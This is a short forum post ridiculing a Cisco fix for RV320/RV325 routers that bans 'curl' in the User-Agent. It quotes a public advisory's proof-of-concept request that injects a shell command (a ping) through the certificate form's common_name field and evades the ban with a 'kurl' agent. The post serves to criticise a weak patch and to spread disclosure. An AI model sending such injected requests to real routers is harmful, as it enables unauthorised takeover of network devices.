Cisco Fixes RV320/RV325 Vulnerability by Banning “curl” in User-Agent
The updated PoC command from the exploit page[1]:<p><pre><code>    $ curl -s -k -A kurl -X POST -b "$COOKIE" \
    --data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\
    "&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\
    "&organization=A&organization_unit=A&email=ab%40example.com"\
    "&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\
    "SelectSubject_s=1" \
    --data-urlencode "common_name='a\$(ping -c 4 192.168.1.2)'b" \
    "https://192.168.1.1/certificate_handle2.htm?type=4"
</code></pre>
Quick, Cisco! Also add “kurl” to the list of banned user agents.<p>[1] <a href="https://www.redteam-pentesting.de/en/advisories/rt-sa-2019-005/-cisco-rv320-command-injection" rel="nofollow">https://www.redteam-pentesting.de/en/advisories/rt-sa-2019-0...</a>